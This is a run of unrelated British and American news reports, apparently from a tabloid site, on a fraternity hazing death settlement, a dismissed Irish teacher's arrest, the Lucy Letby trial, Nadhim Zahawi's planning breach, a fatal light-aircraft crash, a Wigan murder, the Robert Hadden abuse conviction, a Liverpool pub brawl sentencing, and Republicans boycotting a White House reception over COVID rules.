Stone Foltz, 20, a sophomore business major at the Ohio university, died in a hospital in March 2020 - three days after he was allegedly blindfolded and forced to drink 40 shots while pledging Pi Kappa Alpha's Delta Beta chapter.

Foltz was found unconscious by a roommate after members of the fraternity allegedly dropped him off at his apartment. He was put on life support and died after his family arranged for his organs to be donated.

His parents Cory and Shari have started a foundation and said during a joint announcement of the settlement on Monday that they will work with the university to eliminate hazing on college campuses.

The settlement with the university comes in addition to more than $7 million in payouts made to the family by the the frat and individuals involved, court documents show.

The family of Stone Foltz (pictured) who died from alcohol poisoning while pledging a fraternity were awarded a nearly $3million settlement from Bowling Green State University

Foltz's parents Cory and Shari, pictured, have started a foundation and said during a joint announcement of the settlement on Monday that they will work with the university to eliminate hazing on college campuses

Foltz, from Delaware, Ohio, was found unconscious after members of the Pi Kappa Alpha fraternity dropped him off at his apartment. He died after three days on life support.

Eight former fraternity members either pleaded guilty or were found guilty on various charges, including reckless homicide, hazing and giving alcohol to a minor.

Two of the eight were acquitted last year of more serious charges including involuntary manslaughter. Their defense attorneys had argued Foltz was not forced or required to finish an entire bottle of alcohol and made that decision on his own.

In their wrongful death lawsuit, Foltz's parents accused the school of failing to stop hazing in fraternities and sororities despite being aware of it.

It stated they were seeking damages as the defendants' conduct was 'utterly intolerable in a civilized society' and described how pledges were allegedly blindfolded and taken into a basement where they were encouraged to down an entire bottle of alcohol each.

The suit states that Stone was forced to drink the bottle, the equivalent of 40 shots, then dropped off at his apartment and left on the sofa unsupervised.

His roommate later found him still breathing and called Stone's girlfriend, then 911. The 20-year-old was rushed to hospital where he died a few days later.

The settlement with the university is in addition to more than $7 million in payouts made to the family by the the frat, which has since been expelled, and individuals involved

In their wrongful death lawsuit, filed in 2021, Foltz's parents accused the school of failing to stop hazing in fraternities and sororities despite being aware of it

Foltz's parents Cory and Shari filed a lawsuit saying pledges were blindfolded and taken into a basement where they were encouraged to down an entire bottle of alcohol each

Both sides said in a joint statement issued on Monday that they will be forever impacted by his death. 'We can continue our fight saving lives,' said Shari Foltz, his mother.

'This resolution keeps the Foltz family and BGSU community from reliving the tragedy for years to come in the courtroom and allows us to focus on furthering our shared mission of eradicating hazing in Ohio and across the nation. Leading these efforts in our communities is the real work that honors Stone,' the statement said.

The family's attorney, Rex Elliott, said on Monday that the university is making an effort to prevent another tragedy from happening and that colleges nationwide must play a role in reforming how fraternities and sororities bring in new members.

'Greek organizations will not survive if hazing doesn't come to an end,' Elliott said. 'Hazing and pledge programs are a relic of the past.'

After the hazing death, Bowling Green expelled Pi Kappa Alpha and said it would never again be recognized on campus.

The university also developed a plan to address anti-hazing efforts, including hiring a prevention coordinator and making it easier for students to tell the school about hazing.

Foltz's death also spurred changes beyond Bowling Green, including a new state law that created tougher criminal penalties for hazing - a proposal first made after an Ohio University student died in 2018 after ingesting nitrous oxide at a fraternity house.

The parents of Stone Foltz allowed his organs to be donated following his death

'I can't describe the pain - there's a piece of my heart that's gone. It's just unimaginable, I can't even explain to you': Shari is pictured with Stone at his high school graduation
Teacher Enoch Burke has been arrested for alleged trespass in a manner likely to cause fear after returning to the school that has already dismissed him for gross misconduct.

Mr Burke, who has been involved in a long and ongoing battle at the High Court following his refusal to refer to a gender-transitioning student as they, was dismissed from Wilsons Hospital School last week.

In a letter to him which emerged over the weekend, the student council told him his ongoing attendance at the school was causing huge disruption, was affecting learning and was a daily reminder to its LGBTQI+ students of the prejudice they experienced.

However, Mr Burke returned to the Westmeath secondary school yesterday  not just once, but twice.

Burke is pictured outside the gates at Wilson's Hospital School in Co Westmeath. He turned up at the school in Multyfarnham this morning, despite being dismissed from his position at the school last Friday

Enoch Burke, who was previously jailed after failing to observe a court injunction banning him from attending Wilson's Hospital school in Co Westmeath when he was suspended from work, was informed last Friday of his dismissal from his position as teacher

He first pulled up at the gates in a car driven by his father shortly after 8.30am.

Uniformed gardai arrived at the school in an unmarked car at around 11.15am and were met at the door by school principal Frank Milling.

Mr Burke was arrested in the school courtyard and was taken to Mullingar Garda Station at around 12.30pm.

But after he was released by the gardai at around 2pm, he was driven by his father straight back to the school.

The school gates had been closed by then, and while standing outside he gave his account of events to reporters.

He said: The gardai came to this school this morning, and they came down this driveway and they pulled up and they greeted the principal, and he ushered them into his office.

Mr Burke said they spent 45 minutes in the office, and then they came out to me and said, We have made a decision that you are trespassing in such a way as is likely to cause fear.

He claimed the allegation was totally preposterous and that it had been made without any observation of the situation.

Burke is pictured standing outside school gates today

Burke is pictured walking back to the school. Gardai arrived at the school at 11.15am and left at 12.41pm, with Mr Burke in the back of an unmarked car

Enoch Burke (pictured on September 5 being brought into the Bridewell Garda station in Garda custody) was arrested in September for breaching a court order not to teach at his Westmeath school, or be physically present there

Wilson's Hospital school in Co Westmeath is pictured

It is not trespassing to turn up at your place of work, he said. I am an employee here and even the purported disciplinary meeting last week, that was conducted unlawfully even that purported meeting with its purported dismissal wasnt to take effect for months.

He continued: And then when it comes to likely to cause fear, that is an absolutely preposterous statement. Its absolutely reprehensible that I would ever do such a thing, that I would ever put fear into anybody.

Im the meekest teacher at this school. I was simply standing outside the door because I was obstructed from going to work by the deputy principal.

He said he had been told by gardai that they were preparing to send a file to the Director of Public Prosecution.

He said: All of this is because I wont accept transgenderism. Its absolutely preposterous. Its really very sad.

Im here to do my work, as every teacher in the country and every civil servant and every employee has an absolute right to do.

He then entered the school grounds when the gates were opened to allow a schoolbus in.

When he reached the school he was confronted by Mr Milling, who told him to stop and to get off the property.

However, Mr Burke remained where he was and it is understood that gardai were again called.

A message sent to parents informed them that the gates were locked for security purposes.

It said the situation was controlled and advised parents to delay collection of their child until a later time than usual. Just before 4pm, Mr Burke was collected by his father and driven away.

A Garda spokesman confirmed: A male was arrested under the Public Order Act 1994 and taken to Mullingar Garda Station. He has subsequently been released pending the submission of a file to the Office of the Director of Public Prosecutions.

Mr Burke had lost a High Court bid last week to prevent the disciplinary hearing, held by the schools board of management, which resulted in his dismissal.

He is still awaiting a decision from Judge Brian OMoore on an application from the school to have him fined or to have his assets sequestered  temporarily seized. The school had made the request in response to Mr Burkes continued contempt of court in refusing to abide by a High Court order that he stay away from the school while he was suspended.

He had been placed on paid leave by the Co. Westmeath school in August, following his objection to a request that he call a gender-transitioning student by their newly chosen name and the pronoun they.

Mr Burke has said he could not do this, as transgenderism did not accord with his Christian belief that there are only two genders, male and female, and he raised his objections publicly at a church service and a dinner.

When he continued to attend the school last term, it went to the High Court to obtain an order to enforce his suspension.

His refusal to abide by that order led to a three-month stay in Mountjoy, before he was released at Christmas without purging his contempt.
Letby denies the murders of 7 babies and the attempted murders of 10 others

Medics accidentally left a butterfly needle inside the chest of a baby who reportedly suffered two cardiac arrests after she was deliberately hurt by nurse Lucy Letby, a murder trial heard today.

They also failed to give the infant a drug to help relax her lungs, while a chest drain to withdraw air was inserted in the 'wrong' space between her ribs.

Details of the mistakes emerged at Manchester Crown Court as two paediatric experts said they could find no medical reasons for Baby H to suffer cardiac arrests on successive days in September 2015.

The prosecution alleges that Letby, 33, somehow sabotaged the infant's treatment on two separate occasions on successive night shifts in the neonatal unit of the Countess of Chester Hospital.

The prosecution alleges that Letby, 33, somehow sabotaged the infant's treatment on two separate occasions on successive night shifts

Letby is currently on trial at Manchester Crown Court (pictured), which is set to resume tomorrow

Letby, originally from Hereford, denies the murders of seven babies and the attempted murders of 10 others between June 2015 and June 2016.

Baby H needed resuscitating on September 26 and 27, 2015.

Despite having no heartbeat for up to 22 minutes, Baby H survived and was transferred to a more specialist neonatal unit at Arrowe Park Hospital, Wirral. She is now aged seven with no medical issues.

The jury previously heard that Baby H was given three chest drains as medics treated her for a series of life-threatening lung collapses or pneumothoraces.

Two of these were of a so-called 'pigtail' type that curl up inside the body, and each of these had been inserted in or around the fifth space between the infant's ribs  as is recommended by medical guidelines.

TV doctor Ravi Jayaram, now the lead paediatrician at the Countess of Chester, inserted the third, straight drain much lower down in the chest, believing that was where air was still collecting.

Today Dr Sandie Bohin, one of two paediatric experts brought in by the prosecution, was questioned in detail about the drain fitted by Dr Jayaram.

Nick Johnson KC, prosecuting, asked whether the tip of the drain might have interfered with the baby's heart or vagal nerve and therefore account for her two subsequent collapses.

Having viewed a series of x-ray images shown to the jury, the paediatrician replied: 'If the tip of a drain is abutting structures in the centre of the chest, that can cause  although I've never seen it  a failing heart rate and desaturation.

'But although it had moved, it hadn't moved after the x-ray on September 26, so I don't think that drain can be the cause of the collapses. By then it had been secured'.

Cross-examined by Letby's barrister, Ben Myers KC, Dr Bohin agreed that Dr Jayaram had inserted the drain in what was technically a 'sub-optimal position'. But she added: 'He did it as a life-saving measure'.

Letby, originally from Hereford, denies the murders of seven babies and the attempted murders of 10 others between June 2015 and June 2016

Court artist sketch by Elizabeth Cook of Lucy Letby listening from the dock at Manchester Crown Court

The paediatrician agreed that there had been delays in intubating Baby H and in giving her surfactant, a protein used to help relax an infant's lungs.

The latter delay meant that when the baby was ventilated the increased air pressure needed had the effect of worsening her pneumothorax.

But again Dr Bohin insisted that staff were dealing with an emergency and that 'there was no option; it was a lifesaving measure'.

She said the butterfly needle left inside the baby's chest might have punctured lung tissue and contributed to the ongoing pneumothorax.

Mr Myers asked: 'Leaving a butterfly needle in situ is suboptimal practice, isn't it?'

Dr Bohin replied: 'Yes, because it's hazardous'.

She rejected Mr Myers' suggestion that the explanation for Baby H's two mystery collapses might have been the cumulative effect of a series of procedures she had been through.

'A baby will desaturate as the result of an event, but it's not cumulative and it certainly doesn't cause a cardiac arrest'.

Dr Bohin also rejected the barrister's suggestion that the pneumothoraces meant Baby H would have fared better if she had been moved earlier to a tertiary unit such as Arrowe Park.

'No, because they can occur spontaneously  and that would mean every baby would need to be born in a tertiary unit, which isn't practical'.

Earlier, Dr Dewi Evans, the other paediatrician called as an expert witness by the prosecution, said he believed the overall care Baby H received had saved her life.

At one point Mr Myers accused him of 'deliberately identifying positive factors and ignoring the problems to support these allegations'.

Dr Evans replied: 'No, they are a series of problems that they dealt with, and the proof is she is a well little girl now'.

He added: 'I can't explain the (two) collapses, but the fact that she recovered so well before she left for Arrowe Park is a marker of clinical wellbeing and, retrospectively, an indicator that the care she had was satisfactory'.

The trial resumes tomorrow.
Nadhim Zahawi's family lived in breach of a planning condition on their country mansion for a decade, planning documents show.

The embattled Conservative Party chairman and wife Lana Saib bought the new-build property on the edge of the Cotswolds in 2011.

But when the house was erected on the site of a riding school and former farm seven years earlier, it was built with a 'rural occupancy condition (ROC)' which had been attached to the planning permission - meaning that only agricultural, forestry or equestrian workers could live there.

The Zahawis have now been granted immunity from enforcement action after exceeding a ten year time limit on such breaches under planning legislation.

Nadhim Zahawi is fighting for his political life after he reportedly had to pay 4.8million to the taxman for a 'careless' error

Planning permission rules meant that only agricultural, forestry or equestrian workers were supposed to live at the property

The revelations heap further pressure on Mr Zahawi after it emerged he negotiated a multimillion pound settlement with the taxman while he was chancellor last year, and therefore in charge of HMRC.

Mr Zahawi is fighting for his political life after he reportedly had to pay 4.8million to the taxman for a 'careless' error, including a major penalty over his shareholdings in polling firm YouGov which he co-founded.

Questions surrounding Mr Zahawi's tax affairs were also said to have cost him a knighthood in the recent New Year's Honours list.

Last night, Clive Betts MP, who chairs the Levelling Up, Housing and Communities select committee - which scrutinises local government and planning policy - said the Mail's revelations suggested Mr Zahawi 'thinks he can do what he wants and, in this case, get away with it'.

The ROC stated that occupation of the property was limited 'to a person solely or mainly working, or last working' in local equestrian activities, agriculture or forestry.

Dependents or a widow or widower of such a person would also be allowed to stay at the house, which cost the Zahawis 875,000 and has served as the Stratford-on-Avon MP's constituency home.

The embattled Conservative Party chairman and wife Lana Saib bought a new-build mansion on the edge of the Cotswolds in 2011, which they lived in in breach of a planning conditions

Documents show that the planning clause was inserted because 'planning policies would not support the construction of a new dwelling for unrestricted occupation' in the 'open countryside location', in Warwickshire.

But Stratford-on-Avon District Council, which has been run by the Tories since 2003, failed to take enforcement action against the Zawahis despite refusing a flurry of applications by the couple and their planning agents to amend or remove the clause.

The authority's seeming inertia meant that in December 2021 - ten years after the Zahawi family moved in to the house - Miss Saib's application for a Lawful Development Certificate (LDC) to ratify the breach was permitted.

The application sought to confirm that 'the occupation of Ms Saib and her dependents is lawful'.

An accompanying report stated officers were 'satisfied that, on the balance of probability, (rural occupancy condition) has been breached for a continuous period of ten years or more. The occupation of the dwelling without any restriction of occupation is therefore considered to be lawful.'

Planning experts told the Mail that the Zahawis' L-shaped country home would have been devalued by the ROC when the Zahawis bought it, meaning they will now benefit financially from the condition being 'nullified' by the issuing of the LDC last April.

The Town and Country Planning Act 1990 provides a ten year limit for breaches of ROCs, after which a LDC can be granted. The LDC regularises such a breach and signifies that enforcement action cannot be carried out against it.

Mr Betts, who represents Sheffield South East for Labour, added: 'People make an awful lot of money building houses in attractive areas. I understand why these sort of rules apply - they are important in rural communities to ensure there is housing for rural workers.

'There's a very simple rule - members of parliament shouldn't behave in a way in which ordinary members of the public shouldn't behave.

'They should be very careful to make sure they comply with all the rules around planning.'

When the Mail visited the village, residents said they had no knowledge of the planning breach. Some of those living closest to the Zahawis said they never saw the MP.

One added: 'He doesn't even attend the village show. I'm a Tory voter but as far as I'm concerned he's an absent MP.'

She declined to comment on the Zahawis' planning breach.

But another villager said the breach and earlier revelations about the MP's settlement with HMRC 'doesn't paint him (Mr Zahawi) in a good light', adding: 'Not many will speak out though. There are a lot of moneyed people around here, and it's the tax system that tends to bind them together.'

The Zahawis' 35-acre estate boasts a livery yard with a floodlit menage, horse walker and secure tack room. Planning documents refer to stabling for more than 20 horses.

Planning documents show that in 2017, an LDC was applied for on the basis that Miss Saib was 'solely or mainly working...in the locality in equestrian activities'. But the application was refused two years later because officials were not satisfied that she was 'solely or mainly' working in that field, as per the condition.

Planners also pointed out that 56-year-old Miss Saib - who is currently listed as a director of three family property firms - had 'other business interests' which took up an undisclosed amount of her time.

Judith Norris, a partner at the Rural Planning Practice, a consultancy familiar with ROCs, said the council had an opportunity to take enforcement action against the Zahawis at this point.

She added: 'If they had not complied with the condition then it could be an enforcement matter, although enforcement action is discretionary.'

Mrs Norris added that local authority resources in this area have come under pressure in recent years and there were 'not enough enforcement officers' to go around.

She added that when the Zahawis bought the property in 2011, it would have been devalued by the ROC and there would have been a financial benefit from this.

Earlier applications to vary the wording of the ROC were refused by Stratford-on-Avon District Council in 2016 and 2014 - when Mr Zahawi was listed as the applicant - and in April 2011, a month before the Zahawis bought their 'matrimonial' home.

A council spokesman said: 'Whilst it is not our policy to comment on individual enforcement cases, we can confirm that all cases are considered in accordance with the Council's Local Enforcement Plan.'

It said a series of planning applications were 'processed in accordance with national and legal requirements (and) were found to fall short of the criteria required and were refused.'

He said the further application in 2021 for the LDC was granted as it was found to meet the legal criteria and 'there was no legal reason not to do so'.

The council said the applications were 'processed in the same way that they would have been had it been any other applicant'.

In 2013 Mr Zahawi apologised after making a 'mistake' in claiming almost 6,000 in expenses to heat the stables on his Warwickshire estate. It later emerged that he had used a company in the tax haven of Gibraltar to buy the home, but denied the arrangement was a means of reducing his tax burden.

Mr Zahawi was approached for comment.
Chilling audio reveals a pilot's last words before he crashed in New York along with a passenger.

Pilot Boruch Taub and Binyamin 'Ben' Chafetz, died on January 19 when their single-engine Beechcraft Bonanza A36 aircraft encountered technical issues around 5pm and crashed in Westchester County.

The aircraft left JFK airport and was on its way to Cleveland, Ohio when Taub reported low oil pressure.

Released audio obtained by the New York Post revealed the two's eerie last words with Taub to a controller saying, 'I can't see a thing up here.'

Boruch Taub (left) and Binyamin 'Ben' Chafetz (right), both from Cleveland, tragically died on January 19 when they encountered issues in their single engine aircraft at about 5.25pm

Taub was 3,700 feet in the air when he started communicating with a controller about the aircraft's engine. He was instructed to hit 8,000 feet within 15 minutes.

'All right, Im just not getting the performance we were expecting and Im not certain why,' Taub said. 'I cant understand why. Were climbing at about 200 feet per minute, so 8,000 would take a long time.'

The pilot then realized a 'dead cylinder' in the engine was the culprit but failed to declare an emergency for several seconds.

'I am declaring an emergency,' he urgently said. 'My oil pressure is dropping.'

The controller then instructed Taub to land at the Westchester County Airports while temporarily flying at 5,000 feet before descending.

  PHOTOS: Misaskim volunteers on scene of the tragic plane crash in Westchester, NY. pic.twitter.com/rJS808AEw9  Belaaz News (@TheBelaaz) January 20, 2023

A playback of the flight on flight radar shows the plane quickly making a descent dropping thousands of feet within minutes

Taub, owner of 'MasterWorks Automotive & Transmission,' had been the pilot of the Beechcraft Bonanza A36 (similar model pictured)

While Taub kept a cool tone throughout a majority of the conversation, he then went into panic mode as the circumstances worsened.

'Mayday! Mayday! Mayday!' Taub shouted.

The controller attempted to keep calm and guide Taub to the runway.

'Understand. The airport is just behind you now. You wanna start a left turn if you can,' the controller said. 'Youre set up perfectly for a left base to Runway 16, 11 oclock, just under 2 miles.'

He continued: 'You look beautiful for the left base for Runway 16.'

Rain, thunder and lightning is reported to have made visibility very difficult.

'If you can keep giving me vectors,' Taub said. 'I cant see a thing out here.'

The controller then lost connection with Taub moments before the crash.

The Federal Aviation Administration told theyeshivaworld.com they had been about one mile from the airport at this time.

Crews went by foot into wooded areas nearby, and according to News 12 dive teams and boats were also sent out to search nearby bodies of water. A K9 crew were also spotted

First responders searched hours for the plane crash site and set up mobile command posts all over the area.

Crews went by foot into wooded areas nearby, and according to News 12 dive teams and boats were also sent out to search nearby bodies of water.

The wreckage was found just before 11.00pm in the trees on a small island on a reservoir just near the airport.

A playback of the flight on flight radar shows the plane quickly making a descent, dropping thousand of feet within minutes.

The plane sat up to six people and sold for an average price of $240,000.

It was manufactured between 1970 and 2005, and requires a one person crew and can transport up to five passengers.

In the final moments the pair were alive, Chafetz sent a text message to a friend WhatsApp group sending his love to family and asking for his community to pray for him

Chafetz worked as a tech entrepreneur. He is survived by his wife and seven children

Taub, owner of 'MasterWorks Automotive & Transmission' while Chafetz worked as a tech entrepreneur.

In their final moments, Chafetz appeared to have sent a text message to a friend WhatsApp group sending love to family and asking his community to pray for him.

'I love you and the kids,' he said in the text message posted to Twitter.

'I am sorry for everything I have done. Aay rehillim. We lost engines. Call and have community say [Tehillim].' Tehillim is the Hebrew term for the Book of Psalms.

Chafetz is survived by his wife and seven children according to flight magazine website DansDeals.
The family of a man who was fatally shot and subjected to an acid attack has made a 'heartfelt plea' for information about his 'savage murder'.

Liam Smith was found at the bottom of his driveway on Kilburn Drive in Shevington, Wigan, at about 7pm on Thursday November 24. He was fatally shot and had acid poured over his body.

Michael Hillier, 38, of Ecclesall Road in Sheffield, appeared at Tameside Magistrates' Court on Tuesday charged with his murder.

Greater Manchester Police continued to appeal for information on the incident and released images of a Mitsubishi Shogun Elegance car seen close to Mr Smith's home before his death.

Liam Smith (pictured) was found at the bottom of his driveway on Kilburn Drive in Shevington, Wigan, at about 7pm on Thursday November 24

Images were released by police of a Mitsubishi Shogun Elegance car seen close to Mr Smith's home before his death

Mr Smith's father Phil said: 'Liam's savage murder at his home address has sent complete shock waves of grief and despair amongst everyone who knew and loved him.

'Two young boys will now have to spend the rest of their lives without their adoring father, and the rest of our family will be forever haunted by this senseless act.'

Mr Smith senior said had 'absolutely no idea whatsoever' why his son was killed.

He said: 'We are therefore sending out a heartfelt plea to anyone with any information to please, please contact the police.

'This can be done anonymously.

'Anyone withholding information about what has happened, have clearly not witnessed the devastation such a heinous crime has on a family like it has done with mine.'

Detective Chief Inspector Gina Brennand said the Mitsubishi car had clear linear damage to the near rear side behind the rear wheel arch and a lens missing on the front offside fog light

Detective Chief Inspector Gina Brennand said the Mitsubishi car, known to have at least two different registration plates, was seen near Mr Smith's home on November 2 and on November 24 for 10 hours.

She said the car, which used false registration numbers EJ57UPE and R22 ORA, had clear linear damage to the near rear side behind the rear wheel arch and a lens missing on the front offside fog light.

She said: 'We need any information on the whereabouts of this vehicle, which has still not been found.

'Who it was bought from and whether it has been sold recently and also whether it has been in a garage for any repairs, or recently scrapped.

'This may hold the missing information that we need to find answers for Liam's family.'

Hillier appeared at Tameside Magistrates' Court on today and was remanded in custody to appear at Manchester Crown Court tomorrow.
A disgraced Manhattan gynecologist accused of molesting hundreds of former patients has been branded a 'predator in a white coat' after he was convicted of federal sex trafficking charges.

Robert Hadden, 64, was convicted Tuesday after nine former patients told a New York jury how the doctor they once trusted sexually attacked them when they were at their most vulnerable.

Jurors deliberated for less than a day before returning the guilty verdict in the sickening case. Hadden faced a federal trial because he enticed and induced individuals to travel interstate to engage in illegal sexual activity.

Each of the four counts Hadden was convicted of carries a maximum sentence of 20 years in prison, and he is scheduled to be sentenced on April 25.

During a decades long career, the doctor worked at two of Manhattan's most prestigious hospitals - Columbia University Irving Medical Center and New York-Presbyterian Hospital - until complaints about his attacks ended his career a decade ago.

Robert Hadden is found guilty on four counts of sexual abuse in Manhattan Federal Court

OBGYN Robert Hadden outside Manhattan Federal Court on Tuesday where he was convicted of sex trafficking charges

Hadden's crimes already led his former employers to pay out more than $236 million to settle civil claims from more than 200 former patients. He has separately been accused of perverted behavior by dozens of other former patients, including Evelyn Yang, wife of ex-presidential candidate Andrew Yang.

A civil case against the former gynecologist is also pending.

Hadden was convicted Tuesday of federal sex trafficking offences

Hadden previously stood accused in a sex-abuse case back in 2016 but reached a deal, pleading guilty to two counts of criminal sexual act in the third degree and forcible touching. He was struck off the medical register but did not serve any time behind bars, and also received no probation or community service.

Haddens lawyers admitted that their client had sexually abused patients, but they argued his guilty plea seven years ago put those crimes behind him, despite anger from victims and their advocates who said he should have served time behind bars.

Prosecutors said federal sex trafficking charges were appropriate because Hadden, of Englewood, New Jersey, enticed women across state lines so he could attack them.

After Tuesday's guilty verdict, U.S. Attorney Damian Williams issued a statement in which he condemned Hadden as a 'predator in a white coat.'

'For years, he cruelly lured women who sought professional medical care to his offices in order to gratify himself. Haddens victims trusted him as a physician, only to instead become victims of his heinous predilection,' he said.

The verdict capped a two-week trial that featured a procession of former patients who described how the doctor questioned them about their personal lives.

That included quizzing them on their sexual experience, before touching them inappropriately on the breasts or between their legs.

An indictment charged Hadden with sexually abusing patients from 1993 through at least 2012, although a prosecutor noted during a closing argument on Monday that a nurse testified that he was molesting patient as far back as the late 1980s.

'He donned his white coat and took the oath all doctors do to "do no harm" and then he did the exact opposite,' Assistant U.S. Attorney Jane Kim told the jury.

She said he tried to 'hide behind his white coat' and the prestige of Columbia University as he won over vulnerable patients before sexually abusing them.

In her closing, defense attorney Kathryn Wozencroft admitted Hadden's actions were 'disgusting and horrible,' but claimed his state court convictions covered those crimes.

She argued that the federal charges were inappropriate because they required that Hadden entice his victims to cross state lines when he was unaware in advance of which patients he would treat each day and where they were coming from.

None of the women who testified against Hadden in the federal sex trafficking case have been named, however numerous other former patients have since spoken publicly about his crimes, including Evelyn Yang, whose husband, Andrew Yang, ran unsuccessfully for president in 2020 and for New York City mayor in 2022.

Evelyn Yang, the wife of former presidential hopeful Andrew Yang, revealed in 2020 that she was preyed upon by Hadden eight years prior

Yang described Hadden as a 'serial predator' as she condemned his previous conviction as merely a 'slap on the wrist'

Emilia Heckman, left, and Marissa Hoechstetter, right, are among Hadden's former patients who have spoken out about his crimes

In 2020, Yang slammed the gynecologist's previous sentence as merely a 'slap on the wrist', as she revealed to CNN that Hadden had sexually assaulted her in New York eight years prior.

Yang said soon after she began seeing the doctor in early 2012, he began asking her inappropriate questions about her sexual activity, and would spend longer and longer conducting examinations.

She revealed that Hadden then sexually assaulted her later that year, despite the fact she was was seven months pregnant at the time. Yang said that although she had believed her appointment with Hadden had finished, the doctor abruptly stopped her as she was getting ready to leave.

Hadden then told Yang that he believed she may need a cesarean section, before he pulled her to him, undressed her, and used his fingers to examine her internally.

'I knew it was wrong. I knew I was being assaulted,' she said.

But Yang said she 'just kind of froze' and didn't react. 'I remember trying to fix my eyes on a spot on the wall and just trying to avoid seeing his face as he was assaulting me, just waiting for it to be over,' she said.

'This was a serial predator, and he just picked me as his prey,' she added.

Another of Hadden's accusers, Emilia Heckman, a fashion model in her late 20s at the time, told CNN that he had initially made her feel 'comfortable' with him by showing her pictures of his family.

But she says he soon began making inappropriate comments towards her, such as asking her intimate questions about her sex life and saying her boyfriend 'is so lucky to have you'. Heckman says the disgraced doctor then proceeded to sexually assault her in 2012.

Hadden allegedly licked Heckman's genitals while she had her feet in stirrups and her legs draped for a medical exam.

'At first it was gloves on, and all of that,' Heckman said. 'And then it transitioned to no gloves, a tongue and a beard... And I recoiled.'

Heckman said she quickly fled following the ordeal and never returned.

Hadden was struck off the medical register in 2016 but did not serve any time behind bars

Robert Hadden, pictured leaving Manhattan federal court, Monday, Jan. 9, 2023, has been branded a 'predator in a white coat' after he molested hundreds of women in a decades long career

Another accuser, Jessica Chambers, now a substitute elementary-school teacher in Wyoming, said she was a 23-year-old student at the City College of New York when she was also preyed upon by Hadden in 2004.

She had never had a gynecological exam before, and said he had started off 'friendly' but made her feel uncomfortable as the exam went on for a long time, during which a chaperone was present.

'He had his fingers inside of me -- I couldn't see if he was wearing gloves,' she said.

'And he had an extended conversation with me while he had his fingers inside of me... I remember wanting to get out of that position.'

Chambers, who said she came forward about her experience after she read about Hadden's sexual assault on Yang, said the doctor's advances made her feel 'stuck'.

During an appointment with Hadden, Chambers said they talked about how she'd just broken up with her boyfriend and Hadden had asked her asking her if she was able to climax and how.

'I'm thinking it's very weird. But 'he's a doctor, we're in Columbia -- clearly what's going on here must be normal and natural,' she told CNN.

When the chaperone left the room, Hadden grabbed her leg and then began touching her vagina with ungloved hands while telling her how arousal happens.

'He had me somewhat stuck,' she said. 'I didn't know whether it was just me being naive and I didn't want to do anything that would be weird.'

Marissa Hoechstetter, another of Hadden's accusers, was instrumental in introducing a New York law that allows parents to have the name of a doctor removed from a child's birth certificate if they lose their medical license, as Hadden was in 2016.

After Hadden reached a plea deal for sexual assault charges in 2016, Hoechstetter publicly called for Manhattan DA Cyrus Vance to resign for 'failing to protect victims of sexual assault'.
A man who broke a security guard's arm in a drunken pub brawl after verbally abusing and throwing cigarettes at a group of women has avoided jail.

Karl McDonald, 35, appeared at Liverpool Crown Court today on one count of affray and one count of assault following the fight on July 17, 2021.

CCTV footage played in court showed the defendant and another man talking to a group of women sitting at a nearby table at the Liberty Tavern, Woolton in Liverpool.

Ben Berkson, prosecuting, said that during the interaction, McDonald called them 'bums'.

Karl McDonald, 35, fractured a bouncer's elbow in a bar fight he started in a Liverpool pub

A male doorman then approached the group to keep an eye on the situation, as a female member of staff tried to calm McDonald down.

McDonald could be seen on the CCTV throwing cigarettes at the women while verbally abusing them.

The argument continued while an unknown man stood next to the table of women and spoke to them.

McDonald walked towards the man and punched him in the face.

Mr Berkson said: 'He pushes his friend slightly towards the male, and then the flurry of punches rain.

'The fight then spills into the corner of the outside area of the bar, where another table of innocent bystanders are caused to move out of the way to avoid being embroiled.'

Donna McCaffrey, a security officer working at the pub, attempted to break up the two men but McDonald pushed her away causing her to fall into a chair.

McDonald then entered the bar to continue the fight with the unknown male, where they both fell and wrestled on the ground.

McDonald stood up as others intervened, and Ms McCaffrey tried to physically restrain him from behind but he knocked her to the ground, causing her to land awkwardly on her right elbow.

She suffered a right radial head fracture of her elbow, which took around a month to heal.

McDonald appeared at Liverpool Crown Court on Tuesday on one count of affray and one count of assault

McDonald was arrested at the scene and admitted the assault and affray during police interview.

He described himself as 'six out of 10' drunk, and said he had been at a wedding before visiting the pub.

The father-of-one has three previous convictions for four offences, also relating to public order and an assault on a constable, but he has not been before the courts since 2008.

Daniel Travers, defending, said when McDonald saw the CCTV, he was 'disgusted' at himself. He said: 'He recognises that his behaviour was unacceptable.'

Mr Travers said McDonald has only drunk alcohol twice in the 18 months since this incident, and has not committed any crimes since then.

McDonald, who works as a helicopter landing officer, has one son and another child on the way with his partner, the court was told.

Mr Travers also said that when Ms McCaffrey sought to restrain McDonald, the defendant was not aware she was a security officer or a woman when he pushed her to the ground.

In sentencing, Judge Recorder Graham Wells called the offences 'appalling'. He said: 'You started a brawl in a bar, you started it, you continued it.

'It is quite a disgraceful display. The fact that Ms McCaffrey did not require treatment is neither here nor there.

'It would have been painful, it would have kept her out of things.'

Recorder Wells handed McDonald a 12-month sentence for affray, plus eight months for assault, totalling a 20 month term of imprisonment suspended for two years.

He was ordered to complete 150 hours of unpaid work, and pay 3,000 compensation to the victim. A victim surcharge was also ordered.

Recorder Wells said: 'You have got a chance, do not come back to this court.'
Republican Rep. Nick LaLota said he's skipping Tuesday night's White House reception for new members of Congress due to the Biden administration's COVID-19 rules - with several other GOP freshmen following suit.

'Out of protest, I will not be attending President Biden's gathering of Freshman House Members at the White House this week,' the newly sworn-in New Yorker said in a statement Tuesday. 'Even though four months ago the President told 60 Minutes that the pandemic is over, the White House is today enforcing arbitrary, outdated and unscientific pandemic protocols upon Members of Congress who accepted the President's invitation to meet him at the White House.'

Members attending the gathering were asked to sign an attestation form saying they're vaccinated against COVID and instructed to take a test within 24 hours of the event. Unvaccinated guests were asked to stay masked.

Press secretary Karine Jean-Pierre said she hadn't seen LaLota's comments but told reporters at Tuesday's briefing that keeping COVID protocols in place were to 'protect staff and the president of the United States.'

'COVID isn't over,' she warned. 'We've been very clear about that. Hundreds of Americans are dying every day and cases are increasing right now. Today.'

Republican Rep. Nick LaLota said he's skipping Tuesday night's White House reception for new members of Congress due to the Biden administration's COVID-19 rules

White House press secretary Karine Jean-Pierre said the vaccine, testing and masking rules are still in place because 'COVID isn't over'

'That's why we take common sense measures, like COVID testing ahead of large indoor gatherings at the White House,' she added.

LaLota and other Republican members pointed to comments Biden made back in September when he said during a 60 Minutes interview that the 'pandemic is over.'

The White House was forced to walk that statement back, with Jean-Pierre explaining in a subsequent interview that the president meant that the pandemic is 'more manageable.'

